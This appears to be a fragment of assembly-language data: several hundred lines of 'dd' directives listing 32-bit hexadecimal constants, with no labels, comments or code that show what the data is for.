dd 30D574E2h, 5E0529D4h, 7834B8F4h, 74208CA6h, 20DE2630h
dd 0A4E8BDh, 0AE102904h, 6600CB6Ch, 76510B0Dh, 0A73440C0h
dd 7BA81B29h, 5FD364C6h, 0E1B98B41h, 0EC25C621h, 0EB3EEC44h
dd 0E78F893Ch, 5B6EBD31h, 0E6C0E8C3h, 0B449EAC2h, 0F2A3FF4Bh
dd 823DED7Ch, 720B5DC2h, 0CCDF7B9Fh, 0FB0C9E6Bh, 131BE817h
dd 0AF9ADAD0h, 0A7EC23BCh, 35E1CE18h, 0FFD82306h, 0D78D6929h
dd 63E6A29Bh, 0F37BDC16h, 0C7D55D49h, 96B3FBBBh, 0C60AA88Bh
dd 17E38AAFh, 4492EA0Dh, 687FC3EEh, 852E96C1h, 0CD59F729h
dd 0C3E84C58h, 0B3B59F3Ch, 3CCDDAE4h, 2F53E614h, 0BD82DA7h
dd 0F6DD8ACAh, 0BC6846C3h, 4DAA24F5h, 8DA95570h, 4C5E4F7Bh
dd 4A0CB338h, 0E7D41962h, 7F252216h, 1BB2C3AEh, 32E6FC49h
dd 0AABEEFBh, 0F4FFDAE5h, 0C4F48E21h, 3748E755h, 20B9371Fh
dd 0E218BDC9h, 3CABB035h, 66E12BC4h, 0AB601CECh, 0D1E1754Bh
dd 0CC5BBEE3h, 681A60F3h, 511DFA71h, 0CE5E9CA1h, 0ABC6AE90h
dd 0E3E2B8D8h, 0DA5DE7E2h, 5D73BBABh, 6DDF0FA5h, 65A8D557h
dd 186C70F4h, 1AB7CD78h, 2CBFB1ADh, 9BB2F2E1h, 371B024Eh
dd 2CE0A029h, 2647C3CBh, 7EB1A9C0h, 74101B67h, 5D8D5B5Ah
dd 7D4653B3h, 2AA5ABD3h, 0C4A65CF8h, 42463FEFh, 0F47BE9C1h
dd 63237357h, 0DE528083h, 0DD80C5Ah, 8DC68ED0h, 20955A8Ah
dd 4539659Bh, 0D4657922h, 4BC4AEB3h, 51090858h, 8555E967h
dd 97DC82F1h, 9D2FDD31h, 4E2B6E8Bh, 3FCAE294h, 0BB5FF93h
dd 75C37DF2h, 0BAF9E4B6h, 3A4D6E35h, 9B7C0FE1h, 8DD261ADh
dd 0D56ACA08h, 4B4FDCD4h, 0A1774D37h, 0D27B2298h, 0C938197Fh
dd 797AF567h, 31B1CEA0h, 0EBA4CCC6h, 751D24BCh, 0BAEF221Fh
dd 1F5E5E48h, 88002AC7h, 0FA6AE026h, 0E75A5D6h, 3EDA2592h
dd 399F0F62h, 6E5BA3C7h, 69A98019h, 8B2EA8D8h, 106780F3h
dd 50E6905Bh, 0C18A0276h, 0A470A35Eh, 33829CAFh, 0C996FB3h
dd 0F64F77BEh, 623ADDF1h, 798276B9h, 5082D49Ah, 9B519126h
dd 690B3EBBh, 0ADEE6843h, 5B01ED04h, 61DCAF40h, 8809D898h
dd 0D6B56FA4h, 2650F5D3h, 0FA74CC51h, 0DA35BA9Dh, 34A7EF7Ch
dd 0AA6BB3C2h, 3F327E18h, 0BBDC5874h, 9956CCC9h, 0E64E663Fh
dd 2B0D66F1h, 0E94C0C34h, 0DDFC758Dh, 906C3E3Dh, 3B3CBB27h
dd 454820D2h, 42715E53h, 79D1F29h, 0BFF05739h, 818E1890h
dd 7933B7CCh, 0E9F4E9CCh, 0B441D7E3h, 468DA461h, 98D4FB57h
dd 0B8A4C4CDh, 85DD778Fh, 0CB1C2501h, 4974D4F2h, 4A193E8Bh
dd 9D9DDF43h, 43C34467h, 9E11AA78h, 0EC761471h, 34258CCBh
dd 1BF7FD6h, 67DE428Eh, 9534FF6Ch, 0D531C47Fh, 8EA6859h
dd 99C0D7DFh, 0FFF534F5h, 469430F2h, 5C2E650h, 24A639D4h
dd 0C08A82BAh, 0CF1BC0E0h, 4FED4387h, 7B1ACBC8h, 1825C9C2h
dd 0A49EC5A0h, 3DAF15AEh, 95145ADFh, 0C5A6AE1Fh, 0E52F9B67h
dd 0A69622D9h, 884C757Fh, 0CAFF045Ch, 33620F0Ch, 645EE207h
dd 456B2095h, 48B5FF06h, 0E604F3E4h, 5EDED3C4h, 0E4B1C68Bh
dd 0D949C660h, 5B503D9Bh, 3CA13F80h, 0BB9D8C4Ch, 2562A484h
dd 0AA55EBF0h, 3A7189A4h, 0CA24DC48h, 0CAD88B05h, 8E7DD6E0h
dd 1978524Dh, 28E28068h, 0C2B97BC6h, 881C3320h, 0A731513Ch
dd 0F5503CFCh, 0F08C8BCDh, 7961E70Bh, 0D52748Ch, 4568955Ah
dd 993A47h, 7D8D5BE8h, 0E06663DEh, 6D8F2B49h, 90109424h
dd 7D79792Ah, 0C5D3D419h, 7B183D47h, 0AD21B59Ch, 22093748h
dd 526DEAB3h, 7C4D9B7Bh, 781A0B1Dh, 0F88133D9h, 0E4C6503h
dd 0EA5F70BAh, 0F18CBE88h, 0DD199A4h, 67EEF569h, 8C17F242h
dd 83DD3E4Dh, 273EDB11h, 0F360679Bh, 452EE38h, 27CA9A03h
dd 3E62CF8Dh, 0C31FF975h, 56D7FCD3h, 7346D06Bh, 0E96F5D5Fh
dd 0C340812Eh, 0A1553A3Eh, 5F63D901h, 72DC5CE3h, 824AE982h
dd 0CC9DED3Fh, 728E7B4Ch, 48B2ED88h, 0F4126D80h, 6CD898A8h
dd 0B07EDCDh, 0C5233BC4h, 0D5A7BA8Dh, 7A58422Ch, 42A2645Bh
dd 0DF57FA1Bh, 0DAB58BFEh, 0FEEFEB3Ah, 0BFD79508h, 0A69F07EEh
dd 0F6B2AE1Ch, 7BBF726Fh, 59FE5D1Fh, 44119080h, 2AA670A7h
dd 8F9388B5h, 0F6A045E4h, 0E5012B89h, 72D408B1h, 7FF74126h
dd 51AD0FD8h, 5A560D31h, 90D54AA9h, 34EAFF0h, 1954A0C6h
dd 0E89393DDh, 25B6C9B4h, 15ADF483h, 40DDFA38h, 0A06DA5F1h
dd 0EC07A9A8h, 311348A7h, 6BA590E8h, 137FA40Bh, 0C23C6CF4h
dd 0F6218F1Bh, 0A27DB8DAh, 7E342F8Ah, 9505AB94h, 0CE61C55Dh
dd 0ED80AF0Ch, 86A95650h, 8BAB6192h, 0DF6AB9Bh, 733DC3CAh
dd 4D8969E6h, 6275F6D8h, 0E2D8C459h, 7E32B201h, 77E9AFE8h
dd 2CC0F60h, 676DC65Ch, 0B8B349C7h, 0BBE54CC6h, 16C75FE7h
dd 0E18B91BCh, 0A3D760DCh, 8BEB9C9Fh, 93D0B32h, 7D0BCD79h
dd 0B4B095DEh, 330D6DDCh, 7AE0DE06h, 7D3A42B9h, 0E54DFD59h
dd 357CDCAh, 0FE458D3Fh, 272066h, 0FCE50BA5h, 0A5A68B8Ch
dd 92B2A13h, 0E42BF9B6h, 0DA5BF021h, 4744FA01h, 1ED41EDCh
dd 0AE4A6ADDh, 55304BC8h, 81A16AB4h, 0E94DCFA1h, 55E98AD8h
dd 1F3846C1h, 0E68B6D46h, 0ED2D5F75h, 6D4CB5A6h, 44386C58h
dd 0B992EC76h, 8148FB18h, 0E534684h, 8944FE86h, 8214802h
dd 0D9C1ED06h, 3DDDB80h, 7AF4CB3Bh, 0E11527D7h, 0D001FC85h
dd 1D1AB8ABh, 0F96B4A08h, 0E3579367h, 9F690E3Ah, 2E16E0F9h
dd 0CA91A5AEh, 495B3CD7h, 0C62CD253h, 67BA44C7h, 0A07093Dh
dd 0BDD7C774h, 5E5D80E2h, 0BB93BFF7h, 8C3B5F97h, 684A0038h
dd 0B515AF53h, 3E7E0A6Fh, 0FFFFD2BEh, 1ED9BBE5h, 3F054A61h
dd 0D1EAAE44h, 560DBDBDh, 0FA09129Ah, 0DCF017A7h, 98990Bh
dd 0D3ACD6D5h, 86B5B32Fh, 57F24DB4h, 0B395518Ch, 0E0D830Fh
dd 72B4B96Ch, 9FB7E9Dh, 55B726DFh, 0D8D9C43Ah, 6710DFF2h
dd 87731832h, 1CAB45EDh, 0D270A47Eh, 4DB6729Eh, 0B0B659BFh
dd 504B7A87h, 726BA503h, 0CF5639B5h, 23B6368h, 1BEE6B4Ch
dd 6569A4DEh, 18DDB006h, 0C24F828Ah, 0CFB8449Ah, 0B9981D92h
dd 27CB1BBAh, 0B948770h, 0CC784038h, 77D87B1Ch, 0A6B1A913h
dd 363AA266h, 2A14EAE9h, 0E3D028DBh, 1F5B01h, 15CF2F99h
dd 59752C4Dh, 3EAB909Fh, 0BABA4D00h, 689A68B6h, 371B5526h
dd 139FE92Eh, 21BC60FCh, 0DC962459h, 0F50546F5h, 3DA82077h
dd 0D0EDE4CFh, 51BF9074h
dd 38BE902Eh, 4167DBD5h, 6992B278h, 0B9560581h, 0ED93844h
dd 788ED9D3h, 2DAC2F9Fh, 91279A60h, 0BB73AE44h, 2C7EA47Ah
dd 6423E457h, 3799D2D5h, 0FC9081D3h, 237AB7B2h, 9C072A7Ch
dd 35780B26h, 38E1F13Dh, 2E35586Bh, 9300DBB3h, 29F78F28h
dd 7E6DF5DDh, 996EF65Ah, 279320B1h, 66160478h, 0FDCC4D8Ch
dd 580B1ADBh, 0A27258DAh, 0A222EB6h, 5E3D18FBh, 0DCBDEDB4h
dd 0D727F2F6h, 0C9F542D0h, 5024E175h, 2E2F0C68h, 668D515h
dd 7DFC8814h, 800434A2h, 0C1F70072h, 81576BBh, 23EE0637h
dd 3D129DC4h, 7693075h, 17B31735h, 0F8DDE607h, 6924AFB8h
dd 9A30CBE7h, 0D54E464Ah, 336D43B3h, 5C07106Ah, 0A69D68F5h
dd 16DD0A4Dh, 0EFE9A8A4h, 858DDB9Ah, 0B48767D9h, 6DB25B89h
dd 86996863h, 3D2319A6h, 345C03FAh, 623967BBh, 0A7E8AA99h
dd 90B47350h, 0C3623A25h, 31A78896h, 3447A4D9h, 51C057FEh
dd 994F3C4Ch, 0EE92F7FAh, 0C03B9A31h, 0B9D3E167h, 741C3F02h
dd 0AF447D5Eh, 0CDBD9828h, 0E57E2313h, 6349F807h, 8DC27FB0h
dd 0D935D3AEh, 90442B6h, 0F9DA7962h, 965F4610h, 46860144h
dd 0F0AD8B7Ah, 0DE52A5C1h, 6CEE164Bh, 956BEFD5h, 0AC26C336h
dd 7BF4F737h, 0A8E87E14h, 9E499076h, 0D0DC4557h, 69912B78h
dd 0C3911711h, 84A67A8Dh, 0FDC04C28h, 0D5BD0EC2h, 65CFA73Bh
dd 0C0129229h, 48016AE9h, 3E91409Ch, 90A74AD1h, 9FA2DCB4h
dd 0F2E3D67h, 848AB3FCh, 0CB745EDBh, 0F92328DCh, 327E0C34h
dd 0A5DB902Ch, 0D72FEDBDh, 0A639BC05h, 0DD92341h, 49BD3BBFh
dd 6DA6606Dh, 0C1B77F6Bh, 0D930769Eh, 0A0DEFADFh, 2DF5783Fh
dd 0A6C140DAh, 368F96C3h, 0B09DA342h, 0FF137E6Bh, 835EF153h
dd 9A862500h, 2EEB6F66h, 3A5C5A7Bh, 6460C821h, 0B715D511h
dd 315CF8D2h, 0A9E9AA12h, 0E8EA86DEh, 0C2D47A53h, 74E1569Dh
dd 0E34B57D8h, 2798E37Ch, 0C490F84Fh, 0D4760B6Ah, 7AA8984h
dd 0E0E35603h, 0D26702A2h, 77B43EAFh, 0CFB09346h, 0F580EB59h
dd 0BC2135F5h, 0C46DF166h, 0DE3347EFh, 67B1CF5Fh, 0E5D74D9Eh
dd 0E9D23E26h, 0A3832368h, 0C3A56BFAh, 7EBDFAC3h, 18D74494h
dd 0A6EFBB67h, 0C2131E4Ch, 0C8379295h, 62B683h, 0DAEFA463h
dd 148EEFC8h, 6EF1377Fh, 255EF3A3h, 33EE32B0h, 1ACAF9E4h
dd 63D789ACh, 0CB72089Dh, 0EC427768h, 0B3118F26h, 0F0FC00F0h
dd 2A183AF4h, 0C4B5D743h, 677D6F43h, 0E2577D58h, 12CA7B2Dh
dd 2BAAF1F3h, 7CC1AE61h, 0DE9E8DD6h, 76182ABCh, 7DD73D87h
dd 12C760EFh, 0A0295AD8h, 132E311Ch, 78C825FAh, 0F76A815Ah
dd 0F24BF2A3h, 9B2A6E33h, 98D8540Fh, 1F337531h, 699B590Dh
dd 0FC8DB481h, 0A1577C6Fh, 9E53F480h, 55BD0435h, 131735EBh
dd 3C5E9E9Ch, 68CF4A2Bh, 6B05C810h, 0D17F1967h, 6F33DBCAh
dd 0C29159B9h, 4F1EDCFCh, 629B8A90h, 140525A2h, 0F520ECFDh
dd 38FBCFD4h, 1536706Dh, 0B206D85Eh, 827C5F9Bh, 60D83712h
dd 0CF97830h, 0E1E11B37h, 3C7B1505h, 51EE06B6h, 0F8D0A5D4h
dd 5D4E9E6h, 0F064AE9Ah, 3BA39F22h, 44F53DDEh, 0D45F3420h
dd 4AE4BEA9h, 45791EDFh, 3DB0C62Ah, 0AC65EE54h, 0D3A3351Ch
dd 0A3379BE7h, 73742C54h, 29B67D97h, 0BC42BA85h, 0EC1416FCh
dd 16071124h, 6FD2E7FAh, 0FF4D025Fh, 79E7919Ah, 0FEE0F09Eh
dd 0C2802D5Fh, 0F60217E1h, 21EEEDA5h, 0F7A31787h, 5837D825h
dd 54D2D49Eh, 0D4B97F04h, 0D5063E0Eh, 10C80939h, 6E673A10h
dd 9EAD1A4Ah, 0A68A5EF1h, 98E1478h, 0AE40DD4Ch, 2CB1F3DFh
dd 0A8E4B6E7h, 68AA5934h, 0C8F943D5h, 5D24EC61h, 2A50A888h
dd 0DEC1ECCAh, 0C58AEF3Fh, 0CB23FB64h, 7305C781h, 0C97577E3h
dd 23B220E3h, 0FD12AEFCh, 3FFBD172h, 17BE7BBFh, 0B05D3B39h
dd 2117C77Bh, 0C134A331h, 0A6840E95h, 33DC1FE7h, 0F4C07601h
dd 0DE673224h, 1E65A560h, 48CC9B65h, 74258076h, 0BC3A956Dh
dd 7743974Ch, 552EFC71h, 0CD4AF326h, 12D79FA2h, 0D12E7A3Bh
dd 0E858064Eh, 0E4768F66h, 116D0DC7h, 0BA9837ADh, 91DC7169h
dd 0D451DC6Eh, 6AC9332h, 8610B71Ch, 0A4DBF309h, 9B8B55FCh
dd 0B8B7C6Dh, 0C0A5FD94h, 17622FCAh, 2E2CE91Eh, 7CEDC2CCh
dd 7ECA68FCh, 80D5B697h, 94562E39h, 0B7187BCEh, 470B6316h
dd 639948C9h, 0B5ADAF2h, 0E1F1512h, 227346A6h, 57301B1Dh
dd 644EEFA4h, 1CE6D786h, 389215A2h, 0EED10464h, 0C164F5B9h
dd 8035F734h, 7395EC02h, 96406F31h, 6CDB4C2Eh, 24B593DDh
dd 0F0644AD1h, 2AB3A360h, 7EE142ACh, 4A6B1E5Ch, 46AB397Ah
dd 44C9CF2Eh, 0A4174663h, 7B7DC22Fh, 1DBF797Dh, 0F56AAE20h
dd 0B959A36Bh, 0A24E99F0h, 0FBA392B4h, 0ADC9898Bh, 0C12DFA5Bh
dd 861CF046h, 0DC6C969Eh, 722F5F82h, 0C868638Bh, 2C0602DEh
dd 29B340D6h, 22E0B927h, 0E9C605D9h, 0E3F1A141h, 13607601h
dd 59FF3BE5h, 92BEDFAh, 1448B651h, 99E40073h, 28C9F29Dh
dd 0A554649h, 3904E44Dh, 9492126Dh, 0B702F500h, 31BEE35Dh
dd 2C963A0Ah, 318F7C92h, 4ECD1925h, 0A07E9C83h, 302CD328h
dd 0D6BEE60Dh, 9CF979AFh, 0FF0C9C91h, 0E67E01E4h, 3936C915h
dd 77A5571Bh, 58F1ADFh, 0E977E371h, 93AB400h, 0F5A32C97h
dd 7575515Dh, 5374A0F3h, 59A6744Dh, 0B76F8BBh, 0F1C14FEh
dd 94FACD8Eh, 0B1FC2DA6h, 0AB4E2876h, 0B5794CB4h, 8822D700h
dd 783F1ACBh, 0EAF80375h, 5EEE5CB8h, 0CA7DF49Eh, 0FF94F0FCh
dd 41C73EC6h, 0C848FDC5h, 9D4C7B47h, 52241293h, 85D050F1h
dd 0FDB56EB4h, 0DE2983C1h, 0E077C775h, 7F5CB745h, 0F79CCCCCh
dd 31287AB9h, 2BF8EEBFh, 4B3086E3h, 93A109A5h, 696F6094h
dd 98A72FDAh, 19866AFBh, 61E6619Fh, 0D5A8FA10h, 4EC65DA3h
dd 0EDB2D79Bh, 0F8982FB7h, 10C22593h, 31EC3D61h, 0BDAF0D42h
dd 0AC432CE8h, 39B23F87h, 14398836h, 0C62C905Fh, 0EB7EA630h
dd 1B2E247Eh, 5BD2C1DBh, 0A2254F44h, 0E1141949h, 97B5CC77h
dd 66ABEB13h, 9DD88F9Ah, 77497EF8h, 8FADE34Fh, 0EA3361C1h
dd 0D91AD05Eh, 2948F371h, 9A4662BFh, 6EABDBC3h, 8C99EDC8h
dd 3F3D57F4h, 0B1C074A6h, 0A5C0B401h, 5E645155h, 9249306h
dd 8F2583C3h, 92DDEB0Ch, 174FDE3Bh, 6F5AD64Ah, 6B18F63Ch
dd 0A3EDD5B5h, 12D7C826h, 0F05689CCh, 5D1B7E59h, 9ECCBEF4h
dd 0B74FEF4Bh, 324AB4D7h, 7244E986h, 0F22295A8h, 0D1F391F4h
dd 73A7A7A4h, 8FE00644h, 0DEC4183Ch, 0DF2383E6h, 20D8B115h
dd 77C4C57Eh, 395297DDh, 438F34h, 4FE2322Dh, 0A5479E63h
dd 49D561B6h, 97E5F756h, 9273858h, 96CA412h, 2C8A070Dh
dd 7DBAAD3Bh, 7CBDADBDh, 73352400h, 8D33A3A4h, 0C2F40494h
dd 0C4EAFA32h, 0BCC560A9h, 6522B0C0h, 631AF408h, 6FC36777h
dd 6B178FAh, 0E37B5529h, 193FAC8Bh, 5C05D8A9h, 0AC1B1F1Bh
dd 4D26EDD0h, 0DDBDE1F2h, 4A7B2387h, 4553B85Eh, 50A8686Dh
dd 8E0A22DBh, 5CC549C7h, 0B954070Bh, 0EFAE0A34h, 12AC3086h
dd 9E86870Ch, 0FBF4E195h, 0C5DEFF5Ah, 28A1908Ch, 0DB12F9E0h
dd 0CF9A072Fh, 2D20B6E2h, 8A55C3B3h, 569D5A32h, 54B2C651h
dd 9BE72A84h, 0E90558A4h, 88692252h, 0B853102Ch, 0B63DD1F3h
dd 0AD2CAAC5h, 50226E1Ch, 9F543B53h, 2929FA4Dh, 6CE0583Ch
dd 0C2A925D5h, 93B479B1h, 91FD7E10h, 0E1D90F8Bh, 0AEC59DC1h
dd 6D2ACB55h, 9E6AE446h, 524CF21Dh, 4FC9DE33h, 0DEB25CF4h
dd 83F128D3h, 0C499A020h
dd 0EFCF3A46h, 0E717A75Ch, 0D6FA803Ah, 7DE89E28h, 159DEDB1h
dd 68BFEA5Bh, 619FEC17h, 0C5B8B558h, 0C5FFB45Dh, 784810Ch
dd 2E667B89h, 0BE3C490Ah, 1D3B070h, 1FE63E34h, 6AA0E65Dh
dd 9EA9B9EAh, 0B0884923h, 0F59D8329h, 4EE2BF32h, 8DEB1998h
dd 52B56EFBh, 54B5FCCBh, 3AAEC54Bh, 0FAC24D41h, 2D370FF4h
dd 5355105Ch, 7319A61Dh, 575BF4Fh, 14939DB6h, 4798A11Ch
dd 26FE4806h, 42F35F2Bh, 0F419B054h, 1DABDC3Ch, 0DC20EB47h
dd 137D63B0h, 0EF82D17Eh, 0C79B6359h, 37BD9A12h, 798C4A56h
dd 17F463F9h, 4AA4DC27h, 0D4BAD657h, 81D65489h, 0FEACD297h
dd 0DAFE8B8Ah, 0CC793629h, 0CE2A4EDEh, 0F241DD7h, 0ABE3442Fh
dd 0D9E81ECAh, 7E3E69BFh, 0CD6EC566h, 73985E78h, 7051F7E7h
dd 0D20981A8h, 0A1C532E1h, 41B237D6h, 987F1B13h, 0CFE5A266h
dd 2F24EB01h, 0A950A416h, 2B94C5E6h, 0ABA4A43h, 6FFF776h
dd 622C6769h, 559C3BAFh, 0C9996C56h, 641FFA9Dh, 0C8255F34h
dd 7F673CABh, 2797153Dh, 167ADC1Bh, 46565725h, 7E43E759h
dd 2F77D3E9h, 23841CB0h, 0DF652A2h, 4B435312h, 7CDE59C1h
dd 0A02E36CDh, 3A25A35Fh, 1EEDBADFh, 0BB820948h, 0B5AE91D9h
dd 0B955946Ah, 0B9C8396Fh, 9D2A00DAh, 9A5A576Dh, 0C8B083B7h
dd 0B474C18Ch, 173229E8h, 0C525CFE0h, 4205E1A6h, 0E5001535h
dd 0CEC74D2Eh, 714AA3EDh, 4748098Fh, 30480DBFh, 4FFFCF08h
dd 9C5EC558h, 7D10FC2Dh, 0B6333213h, 8371675h, 0B1D2A045h
dd 0F3CDD071h, 0D61A7E1Fh, 0FA147650h, 0D8CC7386h, 7F62867Fh
dd 0F4D43A26h, 0D520F21Eh, 99DFC204h, 46C46A6Bh, 0E6A59E2Ah
dd 2C031025h, 0B03E319Bh, 0AA1D71A7h, 7A46E2FBh, 1CB831C1h
dd 11E5173Bh, 33FD87DEh, 0BB9EA145h, 8DDFE0E6h, 2C3FB01h
dd 742CF080h, 1A65F3A0h, 542931F3h, 0A49326CCh, 0D0260B4h
dd 0A6BE6F39h, 0D8449EAEh, 8DE039DCh, 56AE8193h, 83CC0EBEh
dd 3AE69122h, 0CD15F928h, 835E3813h, 47949482h, 89B1B503h
dd 0D7F6F725h, 1067A678h, 0F0786A6h, 78427409h, 12637413h
dd 0CAF7228Ah, 0BADA4ED5h, 16A3069Ah, 53E20EF1h, 94025D62h
dd 7ACA778Dh, 0EC567850h, 0D2B0FCEBh, 6C1B0F67h, 0C06EEB46h
dd 723BDDDDh, 0AEF2DC13h, 974A5D95h, 5C2EE098h, 16396C31h
dd 8AEF62Dh, 37754C8Fh, 1404D29h, 0F392D0CBh, 0ABBF00B5h
dd 19F5F100h, 6D0DB821h, 0A0A49AA6h, 660EB5A7h, 0E4A6CC91h
dd 688D2553h, 13CF811Ah, 0D6F504CAh, 3217F053h, 7FEDAA1h
dd 0F3262002h, 48D0C33Eh, 0C7ECB1FEh, 86BF71DBh, 2786FA5h
dd 1528FC2h, 0BC786AEDh, 0D9DEB8B1h, 0EE7BB84Ch, 0BBBEE794h
dd 79BA2ED2h, 8CAE906Bh, 8728FF6Fh, 0FA04984h, 6126DDD3h
dd 0B613E6F7h, 0F3011B68h, 12B87598h, 55228757h, 0A271F7DBh
dd 16C02F00h, 70A59984h, 1C46CC92h, 35B64EB6h, 0EFD8FEB4h
dd 9F07048Eh, 7AF2BC4Eh, 2FFA3B64h, 0D2AB966Ch, 254E64AFh
dd 0DA360A21h, 0C839829Fh, 70FE3340h, 79EFFB81h, 0C4FBEEAh
dd 612E05B2h, 0AC295E9h, 19ABFDD3h, 2EBA97B9h, 437B17Ah
dd 84ED07D6h, 8106DFBBh, 4212B010h, 773A3313h, 0F780562Dh
dd 0F22812AAh, 8D5FC53Ah, 3B121D11h, 8F0D29ABh, 4E4EF160h
dd 5D46CACBh, 3AE6D4A4h, 588F1D38h, 2A0C2CF9h, 0A5903048h
dd 504DFC32h, 0E4C2586Fh, 245D94C0h, 494168F1h, 0CDA2B9EFh
dd 0DC25B549h, 0ADA415A4h, 7CB93E9Ch, 0AF23A619h, 0EBEF23D6h
dd 0F7106581h, 8D6027FDh, 0B19EE907h, 0F61A7020h, 0C379333Ah
dd 0B3684675h, 8AD41A4Bh, 0D01B8CC3h, 0E557099Ch, 5B571820h
dd 3F2BFFC7h, 3534881Dh, 0E1003B74h, 0B4196A86h, 0F63EF71Fh
dd 9C0E7665h, 6FA16430h, 802008C6h, 95FC7926h, 10439D31h
dd 2615DEC6h, 0B8A1522Fh, 0A5AA91C1h, 39AC11FFh, 491D647Eh
dd 238A910Ch, 3283EAA6h, 0EC645336h, 60662E5Ch, 0E1F8C965h
dd 3F6CF308h, 0BCE0FDB6h, 0E762DB75h, 0F4F08E7Eh, 59017212h
dd 78130622h, 6EAA0904h, 0F3ADE93Dh, 0C59B9BACh, 0C7A7C115h
dd 1FEE94Ch, 0E111F0F7h, 72E85B4h, 6197B1BFh, 0FB885D88h
dd 4FD9480h, 807ACE5h, 25A78CD5h, 0F8D84199h, 0D0B83D7Fh
dd 0F2C98FE1h, 257AA6A4h, 413482E5h, 0C347DF6Dh, 70BD042Ch
dd 0C96B06ECh, 0A3F31611h, 0DD296813h, 56AAE836h, 13DA31BEh
dd 0CBACE632h, 0A49C8DCDh, 0DA07FF86h, 0E67C943Ah, 876EFD25h
dd 0E25B1A46h, 364C6F6Eh, 0B7219640h, 695B96Ah, 0C220139Fh
dd 1AC5CE7Ch, 6D35BC5Ch, 0ED5150E5h, 2FC6669Ch, 200BBDCCh
dd 0B6EEECB7h, 9DBA4751h, 65C29A98h, 91E06398h, 34D4DFE8h
dd 0E71D683Bh, 71ACDACBh, 0E60AEAA1h, 0F5A25321h, 32D30643h
dd 9DA69981h, 0D08207C3h, 8EA54B3Ch, 0E1622D06h, 40CEDB71h
dd 0FAD846B6h, 981206DBh, 0CB2DC36Dh, 0BA0B4FAFh, 8EBB1E89h
dd 0A8694F78h, 2F2A47EBh, 0E07CBDCDh, 0CE55E6D3h, 0D50B788h
dd 0F8BB2EFCh, 0DBE3F90Fh, 0CB5873E2h, 0EA34E572h, 53395103h
dd 0C53AAF9Bh, 0A9C484BEh, 9E0FDE9Ch, 0F66812DCh, 5F76424Dh
dd 0F34ED16h, 8A1F655Fh, 0B911C234h, 0FF9114E5h, 83423206h
dd 0C167E3C5h, 574625D0h, 442C992Ah, 0C325FDFDh, 52214E0Eh
dd 4F33C9B9h, 0BCA193C6h, 65EFA5C4h, 8B085DA0h, 0E9B9E4EEh
dd 8BA8C30Ah, 0B1CEC2E7h, 0D256057Dh, 72C63108h, 7649453Bh
dd 90372564h, 0EBB7E33Dh, 42EF7F30h, 35C76703h, 0BD475F24h
dd 0DC5CD490h, 6B79150Eh, 0BCF24DF2h, 0C7068595h, 1D709F7Bh
dd 0C588F913h, 3D181AC9h, 0A43D521Bh, 0FAFCAF4h, 908BA5CDh
dd 0FC6E88FAh, 63622D4Ah, 7A7F1CE2h, 29700C56h, 5F0A1D5Dh
dd 4E9C38A8h, 4D3787E4h, 0C6080D10h, 56A6D222h, 0BCC5F8F9h
dd 391C1982h, 8CDFA3EEh, 7A58206Dh, 7EA5388Eh, 1746DED2h
dd 8B7A0E5Fh, 0B727AC08h, 1A00C14Ch, 0C6DDFED7h, 0EFC46DF3h
dd 34EEBE1Bh, 0A393F553h, 2E40CB6h, 0D62350ABh, 0BA31573Ah
dd 9A2E4E31h, 278854D5h, 0A74D6B5Ch, 8240C5A4h, 50768E13h
dd 6441DE14h, 0A727B843h, 73FF191Fh, 77441641h, 6F0F9593h
dd 7DDE69A2h, 96644328h, 1AEA95BBh, 0A529F245h, 0B5F25B6Ah
dd 0A8A35BBAh, 0F9137248h, 811AC7BAh, 84AAFC50h, 0D416FF35h
dd 8C0643D6h, 4C002FA5h, 4C8B53F5h, 4863012Dh, 51F69D64h
dd 0F4DA07D9h, 0A936E1C2h, 2D2A60D4h, 97CAECFEh, 0F294FB3Fh
dd 7250C245h, 374E3CF8h, 7BB9B738h, 0EEBD9DC7h, 0D7E4A481h
dd 57978FA4h, 0AAE68BF7h, 459EDAAh, 4BD0D342h, 0C0677B64h
dd 9329B116h, 7529DCECh, 0FC6BD026h, 0E91471BFh, 0B027C1C8h
dd 86EEFC1Ah, 0C635F2DDh, 390588E1h, 6AE376E3h, 4F73DE53h
dd 8AB3B17h, 622C6DEEh, 8597AC00h, 6259ABF4h, 5ECDED3h
dd 7C728E7h, 0DA7A3B85h, 6EA71CACh, 0E36044D2h, 7F76E282h
dd 0CFC182BBh, 795DC2C1h, 0C71D0CCFh, 0FC7D7D4Eh, 0EB7E292Eh
dd 0C0F33747h, 0A654E604h, 0DF76327h, 2D74A886h, 5652B3C3h
dd 72A9DCC8h, 0C352C913h, 0DB770D92h, 0C4FAA91Ch, 11F88C2Ah
dd 4B4D2306h, 0DFF8C8C0h, 6569B9B7h, 0DB76AF84h, 4F694915h
dd 334B380Dh, 8FF6B578h, 0D15DE5D4h, 288B1486h, 47768E91h
dd 3EB61469h, 0D2A8E31Eh, 2F0F1DD3h, 0F3E7A563h, 0C846B23Ah
dd 0F1564DEBh, 0E0A56A8Ah, 8C4E87A4h, 20FAF487h, 880EDF3Bh
dd 0A17CAD2Eh, 0F81DB00h, 0BFC290FBh, 33403C7Ah, 70E60118h
dd 93E9AAEh, 1AC8D1CCh
dd 5BD16AFCh, 7B496EADh, 652FED02h, 64E4CC16h, 7505F082h
dd 0BBAD26Ch, 8ABB41ADh, 71EB0FBCh, 0D787F790h, 7E8EE3Bh
dd 0A54499E5h, 0C56AC823h, 0EBADF9A8h, 0F05184AAh, 32184832h
dd 7A1E7953h, 4D0631Bh, 75F66B44h, 31E988ADh, 42EAC83Eh
dd 1B5FA373h, 4FCA1FD5h, 938CFAA7h, 0AD0DDF36h, 0E9FBD55Bh
dd 7539E18Fh, 0D2EBFD2Dh, 4B156966h, 6195CB98h, 0F360FAEBh
dd 61BF893Ch, 5819E8F8h, 57BD4C03h, 234EF0FAh, 915F6C5Ah
dd 0BE54580Fh, 0A404F5F6h, 0CF04A62Bh, 0AC4FBD4Dh, 54629080h
dd 0D15F997Eh, 621F188Fh, 142F2D12h, 0F28E90E5h, 9C05D604h
dd 0C2C1783Bh, 9ACFA3DBh, 34AB7C74h, 0B5DB1F72h, 0FA88A0CAh
dd 59EEFF64h, 9F4A5A44h, 3EA3A827h, 4D4BF0BAh, 0F041A2D7h
dd 0E4C09205h, 0A3FBF3BEh, 72B3A802h, 622F4186h, 0BC17EC35h
dd 0DF8E9B49h, 0B5C515BBh, 302E5D08h, 0F8B3F8h, 63B38C2h
dd 0C5D34CBh, 3D967A6Fh, 135C1E00h, 7CE05E5Ah, 0E24E72C0h
dd 743F6862h, 0E8F6ABB2h, 58227D70h, 0F413A27Dh, 63D3CE0Ah
